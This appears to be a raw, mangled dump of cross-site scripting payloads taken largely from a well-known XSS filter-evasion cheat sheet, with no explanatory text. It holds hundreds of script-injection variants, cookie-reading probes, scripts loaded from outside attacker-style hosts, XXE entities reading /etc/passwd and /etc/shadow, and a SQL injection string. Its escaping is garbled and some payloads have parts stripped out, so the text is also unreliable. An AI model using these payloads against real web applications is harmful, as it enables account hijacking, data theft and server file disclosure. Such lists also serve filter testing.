SRC=\\\";http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\\\";>;\\r\\nRedirect 302 /a.jpg http://victimsite.com/admin.asp&;deleteuser\\r\\nexp/*<;XSS >;li {list-style-image: url(\\\";('XSS')\\\";);}<;/STYLE>;<;UL>;<;LI>;XSS\\r\\n<;IMG SRC=\\\';(\\\";XSS\\\";)\\\';>;\\r\\n<;LAYER SRC=\\\";http://ha.ckers.org/scriptlet.html\\\";>;<;/LAYER>;\\r\\n<;IMG SRC=\\\";\\\";>;\\r\\n;\\r\\n<;META HTTP-EQUIV=\\\";refresh\\\"; CONTENT=\\\";0;url=PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\";>;\\r\\n<;META HTTP-EQUIV=\\\";refresh\\\"; CONTENT=\\\";0; URL=http://;URL=(\\\';XSS\\\';);\\\";>;\\r\\n<;IMG SRC=\\\";\\\";>;\\r\\n<;OBJECT TYPE=\\\";text/x-scriptlet\\\"; DATA=\\\";http://ha.ckers.org/scriptlet.html\\\";>;<;/OBJECT>;\\r\\n<;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389>;<;param name=url value=(\\\';XSS\\\';)>;<;/OBJECT>;\\r\\n<;EMBED SRC=\\\";http://ha.ckers.org/xss.swf\\\"; AllowScriptAccess=\\\";always\\\";>;<;/EMBED>;\\r\\na=\\\";get\\\";;&;#10;b=\\\";URL(\\\";\\\";;&;#10;c=\\\";\\\";;&;#10;d=\\\";alert(\\\';XSS\\\';);\\\";)\\\";;
eval(a+b+c+d);\\r\\n<;STYLE TYPE=\\\";text/javascript\\\";>;alert(\\\';XSS\\\';);<;/STYLE>;\\r\\n<;IMG >;\\r\\n<;XSS >;\\r\\n<;STYLE>;.XSS{background-image:url(\\\";(\\\';XSS\\\';)\\\";);}<;/STYLE>;<;A CLASS=XSS>;<;/A>;\\r\\n<;STYLE type=\\\";text/css\\\";>;BODY{background:url(\\\";(\\\';XSS\\\';)\\\";)}<;/STYLE>;\\r\\n<;LINK REL=\\\";stylesheet\\\"; HREF=\\\";(\\\';XSS\\\';);\\\";>;\\r\\n<;LINK REL=\\\";stylesheet\\\"; HREF=\\\";http://ha.ckers.org/xss.css\\\";>;\\r\\n<;STYLE>;@import\\\';http://ha.ckers.org/xss.css\\\';;<;/STYLE>;\\r\\n<;META HTTP-EQUIV=\\\";Link\\\"; Content=\\\";<;http://ha.ckers.org/xss.css>;; REL=stylesheet\\\";>;\\r\\n<;STYLE>;BODY{:url(\\\";http://ha.ckers.org/xssmoz.xml#xss\\\";)}<;/STYLE>;\\r\\n<;TABLE BACKGROUND=\\\";(\\\';XSS\\\';)\\\";>;<;/TABLE>;\\r\\n<;TABLE>;<;TD BACKGROUND=\\\";(\\\';XSS\\\';)\\\";>;<;/TD>;<;/TABLE>;\\r\\n<;HTML xmlns:xss>;\\r\\n<;XML ID=I>;<;X>;<;C>;<;![CDATA[<;IMG SRC=\\\";javas]]>;<;![CDATA[cript:alert(\\\';XSS\\\';);\\\";>;]]>;\\r\\n<;XML ID=\\\";xss\\\";>;<;I>;<;B>;<;IMG SRC=\\\";javas<;!-- -->;cript:alert(\\\';XSS\\\';)\\\";>;<;/B>;<;/I>;<;/XML>;\\r\\n<;XML SRC=\\\";http://ha.ckers.org/xsstest.xml\\\"; ID=I>;<;/XML>;\\r\\n<;HTML>;<;BODY>;\\r\\n<;!--[if gte IE 4]>; \\r\\n<;META HTTP-EQUIV=\\\";Set-Cookie\\\"; Content=\\\";USERID=;alert(\\\';XSS\\\';);\\\";>;\\r\\n<;XSS >;\\r\\nSRC=\\\";http://ha.ckers.org/xss.jpg\\\";>;;\\r\\n<;!--#exec cmd=\\\";/bin/echo \\\';SRC\\\';\\\";-->;<;!--#exec cmd=\\\";/bin/echo \\\';=http://ha.ckers.org/xss.js>;;\\\';\\\";-->;\\r\\n<;? echo(\\\';<;SCR)\\\';;\\r\\n<;BR SIZE=\\\";&;{alert(\\\';XSS\\\';)}\\\";>;\\r\\n<;IMG SRC=(\\\';XSS\\\';)>;\\r\\n<;IMG SRC=(&;quot;XSS&;quot;)>;\\r\\n<;IMG SRC=`(\\\";RSnake says, \\\';XSS\\\';\\\";)`>;\\r\\n<;IMG SRC=(String.fromCharCode(88,83,83))>;\\r\\n<;IMG RC=&;#106;&;#97;&;#118;&;#97;&;#115;&;#99;&;#114;&;#105;&;#112;&;#116;&;#58;&;#97;&;#108;&;#101;&;#114;&;#116;&;#40;&;#39;&;#88;&;#83;&;#83;&;#39;&;#41;>;\\r\\n<;IMG RC=&;#0000106&;#0000097&;#0000118&;#0000097&;#0000115&;#0000099&;#0000114&;#0000105&;#0000112&;#0000116&;#0000058&;#0000097&;#0000108&;#0000101&;#0000114&;#0000116&;#0000040&;#0000039&;#0000088&;#0000083&;#0000083&;#0000039&;#0000041>;\\r\\n<;DIV >;\\r\\n<;IMG SRC=&;#x6A&;#x61&;#x76&;#x61&;#x73&;#x63&;#x72&;#x69&;#x70&;#x74&;#x3A&;#x61&;#x6C&;#x65&;#x72&;#x74&;#x28&;#x27&;#x58&;#x53&;#x53&;#x27&;#x29>;\\r\\n<;HEAD>;<;META HTTP-EQUIV=\\\";CONTENT-TYPE\\\"; CONTENT=\\\";text/html; charset=UTF-7\\\";>; <;/HEAD>;\\r\\n\\\\\\\";;alert(\\\';XSS\\\';);//\\r\\n<;/TITLE>;;alert(\\\"XSS\\\");;\\r\\n<;STYLE>;@im\\\\port\\\';\\\\ja\\\\vasc\\\\ript:alert(\\\";XSS\\\";)\\\';;<;/STYLE>;\\r\\n<;IMG SRC=\\\";(\\\';XSS\\\';);\\\";>;\\r\\n<;IMG SRC=\\\";jav&;#x09;ascript:alert(\\\';XSS\\\';);\\\";>;\\r\\n<;IMG SRC=\\\";jav&;#x0A;ascript:alert(\\\';XSS\\\';);\\\";>;\\r\\n<;IMG SRC=\\\";jav&;#x0D;ascript:alert(\\\';XSS\\\';);\\\";>;\\r\\n<;IMG
SRC
=
\\\";
javascript
:
a
l
e
r
t
\\\';
X
S
S
\\\';
)
\\\";
>;
\\r\\nperl -e \\\';print \\\";<;IM SRC=java\\\\0script:alert(\\\";XSS\\\";)>\\\";;\\\';>; out\\r\\nperl -e \\\';print \\\";&;<;SCR\\\\0IPT>;alert(\\\";XSS\\\";)<;/SCR\\\\0IPT>;\\\";;\\\'; >; out\\r\\n<;IMG SRC=\\\"; &;#14; (\\\';XSS\\\';);\\\";>;\\r\\nXSS SRC=\\\";http://ha.ckers.org/xss.js\\\";>;;\\r\\n<;BODY !#$%&;()*~+-_.,:;?@[/|\\\\]^`=alert(\\\";XSS\\\";)>;\\r\\nSRC=http://ha.ckers.org/xss.js\\r\\nSRC=//ha.ckers.org/.j>;\\r\\n<;IMG SRC=\\\";(\\\';XSS\\\';)\\\";\\r\\n<;IFRAME SRC=http://ha.ckers.org/scriptlet.html <;\\r\\n;alert(\\\";XSS\\\";);//;\\r\\n<;IMG \\\";\\\";\\\";>;;alert(\\\";XSS\\\";);\\\";>;\\r\\n;a=/XSS/\\r\\na=\\\";>;\\\"; SRC=\\\";http://ha.ckers.org/xss.js\\\";>;;\\r\\n=\\\";blah\\\"; SRC=\\\";http://ha.ckers.org/xss.js\\\";>;;\\r\\na=\\\";blah\\\"; \\\';\\\'; SRC=\\\";http://ha.ckers.org/xss.js\\\";>;;\\r\\n\\\";a=\\\';>;\\\';\\\"; SRC=\\\";http://ha.ckers.org/xss.js\\\";>;;\\r\\na=`>;` SRC=\\\";http://ha.ckers.org/xss.js\\\";>;;\\r\\n;(\\\";<;SCRI\\\";);;PT SRC=\\\";http://ha.ckers.org/xss.js\\\";>;;\\r\\na=\\\";>\\\';>\\\"; SRC=\\\";http://ha.ckers.org/xss.js\\\";>;;\\r\\n<;A HREF=\\\";http://66.102.7.147/\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";http://www.google.com\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";http://1113982867/\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";http://0x42.0x0000066.0x7.0x93/\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";http://0102.0146.0007.00000223/\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";h
tt p://6&;#09;6.000146.0x7.147/\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";//www.google.com/\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";//google\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";http://ha.ckers.org@google\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";http://google:ha.ckers.org\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";http://google.com/\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";http://www.google.com./\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";\\\';http://www.google.com/\\\';\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";http://www.gohttp://www.google.com/ogle.com/\\\";>;XSS<;/A>;\\r\\n\\r\\n<img >\\r\\n<img >\\r\\n<img >\\>\\ >>\\>\\>\\>\\r\\n<img >\\r\\n<img >\\>\\>\\></LAYER>\\r\\n<link REL=\\\"stylesheet\\\" HREF=\\\";\\\">\\r\\n<style>li {list-style-image: url(\\\";\\\");</STYLE><UL><LI>XSS\\r\\n<img >\\>\\>\\></iframe>\\r\\n<FRAMESET><FRAME SRC=\\\";\\\"></frameset>\\r\\n<table BACKGROUND=\\\";\\\">\\r\\n<table><TD BACKGROUND=\\\";\\\">\\r\\n<div url(;)\\\">\\r\\n<div url(;)\\\">\\r\\n<div document.vulnerable=true);\\\">\\r\\n<style>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:document.vulnerable=true\\\';</style>\\r\\n<img >\\>\\r\\nexp/*<A >\\r\\n<style TYPE=\\\"text/javascript\\\">document.vulnerable=true;</style>\\r\\n<style>.XSS{background-image:url(\\\"\\\");}</STYLE><A ></a>\\r\\n<style type=\\\"text/css\\\">BODY{background:url(\\\"\\\")}</style>\\r\\n<!--[if gte IE 4]><![endif]-->\\r\\n<base HREF=\\\";//\\\">\\r\\n<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=></object>\\r\\n<XML ID=I><X><C><![<IMG >]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></span>\\r\\n<XML ID=\\\"xss\\\"><I><B><IMG >></B></I></XML><SPAN DATASRC=\\\"#xss\\\" DATAFLD=\\\"B\\\" DATAFORMATAS=\\\"HTML\\\"></span>\\r\\n<html><BODY><?xml:namespace prefix=\\\"t\\\" ns=\\\"urn:schemas-microsoft-com:time\\\"><?import namespace=\\\"t\\\" implementation=\\\"#default#time2\\\"><t:set attributeName=\\\"innerHTML\\\" to=\\\"XSSdocument.vulnerable=true\\\"></BODY></html>\\r\\n<? echo(\\\'<SCR)\\\';echo(\\\'IPT>document.vulnerable=true\\\'); ?>\\r\\n<meta HTTP-EQUIV=\\\"Set-Cookie\\\" Content=\\\"USERID=\\\">\\r\\n<head><META HTTP-EQUIV=\\\"CONTENT-TYPE\\\" CONTENT=\\\"text/html; charset=UTF-7\\\"> </HEAD>\\r\\n<a >\\r\\n<div >\\r\\n<img >\\r\\n<img >\\r\\n<input type=\\\"image\\\" dynsrc=\\\";\\\">\\r\\n<bgsound src=\\\";\\\">\\r\\n&\\r\\n&{document.vulnerable=true;};\\r\\n<img >\\>\\>\\r\\n<img >\\r\\n<img >\\r\\n<a >document.vulnerable=true;\\\">\\r\\n<meta http-equiv=\\\"refresh\\\" content=\\\"0;url=;\\\">\\r\\n<body >\\r\\n<div url(;);\\\">\\r\\n<div url([link to code]);\\\">\\r\\n<div url([link to code]);\\\">\\r\\n<div document.vulnerable=true;);\\\">\\r\\n<style type=\\\"text/javascript\\\">document.vulnerable=true;</style>\\r\\n<object classid=\\\"clsid:...\\\" codebase=\\\";\\\">\\r\\n<style><!--</style>\\r\\n<\\r\\n\\r\\n<!-- -- --><!-- -- -->\\r\\n<img >\\r\\n<img >\\\" =\\\"document.vulnerable=true;\\\">\\r\\n<xml src=\\\";\\\">\\r\\n<xml id=\\\"X\\\"><a><b>;</b></a></xml>\\r\\n<div datafld=\\\"b\\\" dataformatas=\\\"html\\\" datasrc=\\\"#X\\\"></div>\\r\\n[\\\\xC0][\\\\xBC]script>document.vulnerable=true;[\\\\xC0][\\\\xBC]/script>\\r\\n<style>@import\\\'http://www.securitycompass.com/xss.css\\\';</style>\\r\\n<meta HTTP-EQUIV=\\\"Link\\\" Content=\\\"<http://www.securitycompass.com/xss.css>; REL=stylesheet\\\">\\r\\n<style>BODY{:url(\\\"http://www.securitycompass.com/xssmoz.xml#xss\\\")}</style>\\r\\n<OBJECT TYPE=\\\"text/x-scriptlet\\\" DATA=\\\"http://www.securitycompass.com/scriptlet.html\\\"></object>\\r\\n<HTML xmlns:xss><?import namespace=\\\"xss\\\" implementation=\\\"http://www.securitycompass.com/xss.htc\\\"><xss:xss>XSS</xss:xss></html>\\r\\n\\r\\n<!--#exec cmd=\\\"/bin/echo \\\'<SCR\\\'\\\"--><!--#exec cmd=\\\"/bin/echo \\\'IPT SRC=http://www.securitycompass.com/xss.js>\\\'\\\"-->\\r\\n\\\" SRC=\\\"http://www.securitycompass.com/xss.js\\\">\\r\\n\\r\\n\\\" \\\'\\\' SRC=\\\"http://www.securitycompass.com/xss.js\\\">\\r\\n\\\'\\\" SRC=\\\"http://www.securitycompass.com/xss.js\\\">\\r\\n` SRC=\\\"http://www.securitycompass.com/xss.js\\\">\\r\\n\\\'>\\\" SRC=\\\"http://www.securitycompass.com/xss.js\\\">\\r\\nPT SRC=\\\"http://www.securitycompass.com/xss.js\\\">\\r\\n<div url(http://www.securitycompass.com/xss.js);\\\"> [Mozilla]\\r\\n\\\";>;<;BODY !#$%&;()*~+-_.,:;?@[/|\\\\]^`=alert(\\\";XSS\\\";)>;\\r\\n;;alert(1);\\r\\n<;/br >;\\r\\n<;scrscriptipt>;alert(1)<;/scrscriptipt>;\\r\\n<;br size=\\\\\\\";&;{alert('XSS')}\\\\\\\";>;\\r\\nperl -e 'print \\\\\\\";<;IMG SRC=java\\\\0script:alert(\\\\\\\";XSS\\\\\\\";)>;\\\\\\\";;' >; out\\r\\nperl -e 'print \\\\\\\";<;SCR\\\\0IPT>;alert(\\\\\\\";XSS\\\\\\\";)<;/SCR\\\\0IPT>;\\\\\\\";;' >; out\\r\\n<~/XSS/*-*/>\\r\\n<~/XSS/*-*/>\\r\\n<~/XSS/*-*/>\\r\\n<~/XSS >\\r\\n\\\">\\r\\n</XSS/*-*/>\\r\\nXSS/*-*/STYLE=xss:e/**/xpression(alert(\\\'XSS\\\'))>\\r\\nXSS STYLE=xss:e/**/xpression(alert(\\\'XSS\\\'))>\\r\\n</XSS >\\r\\n>\\\">&\\r\\n\\\"><STYLE>@import\\\"(\\\'XSS\\\')\\\";</STYLE>\\r\\n>\\\"\\\'><img >\\r\\n>"'><img src="">\\r\\n\\\'＜script＞alert(\\\'XSS\\\')＜/script＞\\\'\\r\\n\\\'\\\';!--\\\"<XSS>=&{()}\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >")>\\r\\n<IMGSRC=java&<WBR>#115;crip&<WBR>#116;:ale&<WBR>#114;t('XS<WBR>;S')>\\r\\n<IMGSRC=ja&<WBR>#0000118as&<WBR>#0000099ri&<WBR>#0000112t:&<WBR>#0000097le&<WBR>#0000114t(&<WBR>#0000039XS&<WBR>#0000083')> \\r\\n<IMGSRC=javas&<WBR>#x63ript:&<WBR>#x61lert(&<WBR>#x27XSS')>\\r\\n<IMG >\\\'XSS\\\');\\\">\\r\\n<IMG >\\\'XSS\\\');\\\">\\r\\n<![CDATA[]]>\\r\\n<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?><foo><![CDATA[![CDATA[>]]>alert(\\\'gotcha\\\');<![CDATA[![CDATA[>]]></foo>\\r\\n<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?><foo><![CDATA[\\\' or 1=1 or \\\'\\\'=\\\']]></foof>\\r\\n<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \\\"file://c:/boot.ini\\\">]><foo>&xee;</foo>\\r\\n<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \\\"file:///etc/passwd\\\">]><foo>&xee;</foo>\\r\\n<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \\\"file:///etc/shadow\\\">]><foo>&xee;</foo>\\r\\n<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \\\"file:///dev/random\\\">]><foo>&xee;</foo>\\r\\n\\r\\n\\r\\n">\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG > \\r\\n<img >\\r\\n<IMG \\\"\\\"\\\">\\\">\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\>\\>\\>\\r\\n<IMG >alert(\\\"XSS\\\");//\\r\\n\\r\\n\\\"><s\\\"+\\\"cript>alert()\\r\\nfoo\\r\\n<scralert(1)\\r\\n\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//-->\\\">\\\'>\\r\\n<marquee >=(◕_◕)=
result with twig: {{ xss.xss | escape }}:
<body onLoad=\\\"while(true) alert(\\\'XSS\\\');\\\">\\r\\n\\\'\\\"></title><script>alert(1111)</script>\\r\\n</textarea>\\\'\\\"><script>alert(document.cookie)</script>\\r\\n\\\'\\\"\\\"><script language=\\\"JavaScript\\\"> alert(\\\'X \\\\nS \\\\nS\\\');</script>\\r\\n</script></script><<<<script><>>>><<<script>alert(123)</script>\\r\\n<html><noalert><noscript>(123)</noscript><script>(123)</script>\\r\\n<INPUT TYPE=\\\"IMAGE\\\" SRC=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n\\\'></select><script>alert(123)</script>\\r\\n\\\'>\\\"><script src = \\\'http://www.site.com/XSS.js\\\'></script>\\r\\n}</style><script>a=eval;b=alert;a(b(/XSS/.source));</script>\\r\\n<SCRIPT>document.write(\\\"XSS\\\");</SCRIPT>\\r\\na=\\\"get\\\";b=\\\"URL\\\";c=\\\"javascript:\\\";d=\\\"alert(\\\'xss\\\');\\\";eval(a+b+c+d);\\r\\n=\\\'><script>alert(\\\"xss\\\")</script>\\r\\n<script+src=\\\">\\\"+src=\\\"http://yoursite.com/xss.js?69,69\\\"></script>\\r\\n<body background=javascript:\\\'\\\"><script>alert(navigator.userAgent)</script>></body>\\r\\n\\\">/XaDoS/><script>alert(document.cookie)</script><script src=\\\"http://www.site.com/XSS.js\\\"></script>\\r\\n\\\">/KinG-InFeT.NeT/><script>alert(document.cookie)</script>\\r\\nsrc=\\\"http://www.site.com/XSS.js\\\"></script>\\r\\ndata:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4=\\r\\n!--\\\" /><script>alert(\\\'xss\\\');</script>\\r\\n<script>alert(\\\"XSS by \\\\nxss\\\")</script><marquee><h1>XSS by xss</h1></marquee>\\r\\n\\\"><script>alert(\\\"XSS by \\\\nxss\\\")</script>><marquee><h1>XSS by xss</h1></marquee>\\r\\n\\\'\\\"></title><script>alert(\\\"XSS by \\\\nxss\\\")</script>><marquee><h1>XSS by xss</h1></marquee>\\r\\n<img \\\"\\\"\\\"><script>alert(\\\"XSS by \\\\nxss\\\")</script><marquee><h1>XSS by xss</h1></marquee>\\r\\n<script>alert(1337)</script><marquee><h1>XSS by xss</h1></marquee>\\r\\n\\\"><script>alert(1337)</script>\\\"><script>alert(\\\"XSS by \\\\nxss</h1></marquee>\\r\\n\\\'\\\"></title><script>alert(1337)</script>><marquee><h1>XSS by xss</h1></marquee>\\r\\n<iframe src=\\\"javascript:alert(\\\'XSS by \\\\nxss\\\');\\\"></iframe><marquee><h1>XSS by xss</h1></marquee>\\r\\n\\\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src=\\\"\\\" alt=\\\'\\r\\n\\\"><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src=\\\"\\\" alt=\\\"\\r\\n\\\\\\\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src=\\\"\\\" alt=\\\\\\\'\\r\\nhttp://www.simpatie.ro/index.php?page=friends&member=781339&javafunctionname=Pageclick&javapgno=2 javapgno=2 ??XSS??\\r\\nhttp://www.simpatie.ro/index.php?page=top_movies&cat=13&p=2 p=2 ??XSS??\\r\\n\\\'); alert(\\\'xss\\\'); var x=\\\'\\r\\n\\\\\\\\\\\'); alert(\\\\\\\'xss\\\\\\\');var x=\\\\\\\'\\r\\n//--></SCRIPT><SCRIPT>alert(String.fromCharCode(88,83,83));\\r\\n>\\\"><ScRiPt%20%0a%0d>alert(561177485777)%3B</ScRiPt>\\r\\n<img src=\\\"Mario Heiderich says that svg SHOULD not be executed trough image tags\\\" onerror=\\\"javascript:document.write(\\\'\\\\u003c\\\\u0069\\\\u0066\\\\u0072\\\\u0061\\\\u006d\\\\u0065\\\\u0020\\\\u0073\\\\u0072\\\\u0063\\\\u003d\\\\u0022\\\\u0064\\\\u0061\\\\u0074\\\\u0061\\\\u003a\\\\u0069\\\\u006d\\\\u0061\\\\u0067\\\\u0065\\\\u002f\\\\u0073\\\\u0076\\\\u0067\\\\u002b\\\\u0078\\\\u006d\\\\u006c\\\\u003b\\\\u0062\\\\u0061\\\\u0073\\\\u0065\\\\u0036\\\\u0034\\\\u002c\\\\u0050\\\\u0048\\\\u004e\\\\u0032\\\\u005a\\\\u0079\\\\u0042\\\\u0034\\\\u0062\\\\u0057\\\\u0078\\\\u0075\\\\u0063\\\\u007a\\\\u0030\\\\u0069\\\\u0061\\\\u0048\\\\u0052\\\\u0030\\\\u0063\\\\u0044\\\\u006f\\\\u0076\\\\u004c\\\\u0033\\\\u0064\\\\u0033\\\\u0064\\\\u0079\\\\u0035\\\\u0033\\\\u004d\\\\u0079\\\\u0035\\\\u0076\\\\u0063\\\\u006d\\\\u0063\\\\u0076\\\\u004d\\\\u006a\\\\u0041\\\\u0077\\\\u004d\\\\u0043\\\\u0039\\\\u007a\\\\u0064\\\\u006d\\\\u0063\\\\u0069\\\\u0050\\\\u0069\\\\u0041\\\\u0067\\\\u0043\\\\u0069\\\\u0041\\\\u0067\\\\u0049\\\\u0044\\\\u0078\\\\u0070\\\\u0062\\\\u0057\\\\u0046\\\\u006e\\\\u005a\\\\u0053\\\\u0042\\\\u0076\\\\u0062\\\\u006d\\\\u0078\\\\u0076\\\\u0059\\\\u0057\\\\u0051\\\\u0039\\\\u0049\\\\u006d\\\\u0046\\\\u0073\\\\u005a\\\\u0058\\\\u004a\\\\u0030\\\\u004b\\\\u0044\\\\u0045\\\\u0070\\\\u0049\\\\u006a\\\\u0034\\\\u0038\\\\u004c\\\\u0032\\\\u006c\\\\u0074\\\\u0059\\\\u0057\\\\u0064\\\\u006c\\\\u0050\\\\u0069\\\\u0041\\\\u0067\\\\u0043\\\\u0069\\\\u0041\\\\u0067\\\\u0049\\\\u0044\\\\u0078\\\\u007a\\\\u0064\\\\u006d\\\\u0063\\\\u0067\\\\u0062\\\\u0032\\\\u0035\\\\u0073\\\\u0062\\\\u0032\\\\u0046\\\\u006b\\\\u0050\\\\u0053\\\\u004a\\\\u0068\\\\u0062\\\\u0047\\\\u0056\\\\u0079\\\\u0064\\\\u0043\\\\u0067\\\\u0079\\\\u004b\\\\u0053\\\\u0049\\\\u002b\\\\u0050\\\\u0043\\\\u0039\\\\u007a\\\\u0064\\\\u006d\\\\u0063\\\\u002b\\\\u0049\\\\u0043\\\\u0041\\\\u004b\\\\u0049\\\\u0043\\\\u0041\\\\u0067\\\\u0050\\\\u0048\\\\u004e\\\\u006a\\\\u0063\\\\u006d\\\\u006c\\\\u0077\\\\u0064\\\\u0044\\\\u0035\\\\u0068\\\\u0062\\\\u0047\\\\u0056\\\\u0079\\\\u0064\\\\u0043\\\\u0067\\\\u007a\\\\u004b\\\\u0054\\\\u0077\\\\u0076\\\\u0063\\\\u0032\\\\u004e\\\\u0079\\\\u0061\\\\u0058\\\\u0042\\\\u0030\\\\u0050\\\\u0069\\\\u0041\\\\u0067\\\\u0043\\\\u0069\\\\u0041\\\\u0067\\\\u0049\\\\u0044\\\\u0078\\\\u006b\\\\u005a\\\\u0057\\\\u005a\\\\u007a\\\\u0049\\\\u0047\\\\u0039\\\\u0075\\\\u0062\\\\u0047\\\\u0039\\\\u0068\\\\u005a\\\\u0044\\\\u0030\\\\u0069\\\\u0059\\\\u0057\\\\u0078\\\\u006c\\\\u0063\\\\u006e\\\\u0051\\\\u006f\\\\u004e\\\\u0043\\\\u006b\\\\u0069\\\\u0050\\\\u006a\\\\u0077\\\\u0076\\\\u005a\\\\u0047\\\\u0056\\\\u006d\\\\u0063\\\\u007a\\\\u0034\\\\u0067\\\\u0049\\\\u0041\\\\u006f\\\\u0067\\\\u0049\\\\u0043\\\\u0041\\\\u0038\\\\u005a\\\\u0079\\\\u0042\\\\u0076\\\\u0062\\\\u006d\\\\u0078\\\\u0076\\\\u0059\\\\u0057\\\\u0051\\\\u0039\\\\u0049\\\\u006d\\\\u0046\\\\u0073\\\\u005a\\\\u0058\\\\u004a\\\\u0030\\\\u004b\\\\u0044\\\\u0055\\\\u0070\\\\u0049\\\\u006a\\\\u0034\\\\u0067\\\\u0049\\\\u0041\\\\u006f\\\\u0067\\\\u0049\\\\u0043\\\\u0041\\\\u0067\\\\u0049\\\\u0043\\\\u0041\\\\u0067\\\\u0050\\\\u0047\\\\u004e\\\\u0070\\\\u0063\\\\u006d\\\\u004e\\\\u0073\\\\u005a\\\\u0053\\\\u0042\\\\u0076\\\\u0062\\\\u006d\\\\u0078\\\\u0076\\\\u0059\\\\u0057\\\\u0051\\\\u0039\\\\u0049\\\\u006d\\\\u0046\\\\u0073\\\\u005a\\\\u0058\\\\u004a\\\\u0030\\\\u004b\\\\u0044\\\\u0059\\\\u0070\\\\u0049\\\\u0069\\\\u0041\\\\u0076\\\\u0050\\\\u0069\\\\u0041\\\\u0067\\\\u0043\\\\u0069\\\\u0041\\\\u0067\\\\u0049\\\\u0043\\\\u0041\\\\u0067\\\\u0049\\\\u0043\\\\u0041\\\\u0038\\\\u0064\\\\u0047\\\\u0056\\\\u0034\\\\u0064\\\\u0043\\\\u0042\\\\u0076\\\\u0062\\\\u006d\\\\u0078\\\\u0076\\\\u0059\\\\u0057\\\\u0051\\\\u0039\\\\u0049\\\\u006d\\\\u0046\\\\u0073\\\\u005a\\\\u0058\\\\u004a\\\\u0030\\\\u004b\\\\u0044\\\\u0063\\\\u0070\\\\u0049\\\\u006a\\\\u0034\\\\u0038\\\\u004c\\\\u0033\\\\u0052\\\\u006c\\\\u0065\\\\u0048\\\\u0051\\\\u002b\\\\u0049\\\\u0043\\\\u0041\\\\u004b\\\\u0049\\\\u0043\\\\u0041\\\\u0067\\\\u0050\\\\u0043\\\\u0039\\\\u006e\\\\u0050\\\\u0069\\\\u0041\\\\u0067\\\\u0043\\\\u006a\\\\u0077\\\\u0076\\\\u0063\\\\u0033\\\\u005a\\\\u006e\\\\u0050\\\\u0069\\\\u0041\\\\u0067\\\\u0022\\\\u003e\\\\u003c\\\\u002f\\\\u0069\\\\u0066\\\\u0072\\\\u0061\\\\u006d\\\\u0065\\\\u003e\\\');\\\"></img>\\r\\n</body>\\r\\n</html>\\r\\n<SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>\\r\\n<SCRIPT> alert(“XSS”); </SCRIPT>\\r\\n<BODY ONLOAD=alert(\\\"XSS\\\")>\\r\\n<BODY BACKGROUND=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<IMG SRC=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG DYNSRC=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<IMG LOWSRC=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<IFRAME SRC=”http://hacker-site.com/xss.html”>\\r\\n<INPUT TYPE=\\\"IMAGE\\\" SRC=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<LINK REL=\\\"stylesheet\\\" HREF=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<TABLE BACKGROUND=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<TD BACKGROUND=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<DIV STYLE=\\\"background-image: url(javascript:alert(\\\'XSS\\\'))\\\">\\r\\n<DIV STYLE=\\\"width: expression(alert(\\\'XSS\\\'));\\\">\\r\\n<OBJECT TYPE=\\\"text/x-scriptlet\\\" DATA=\\\"http://hacker.com/xss.html\\\">\\r\\n<EMBED SRC=\\\"http://hacker.com/xss.swf\\\" 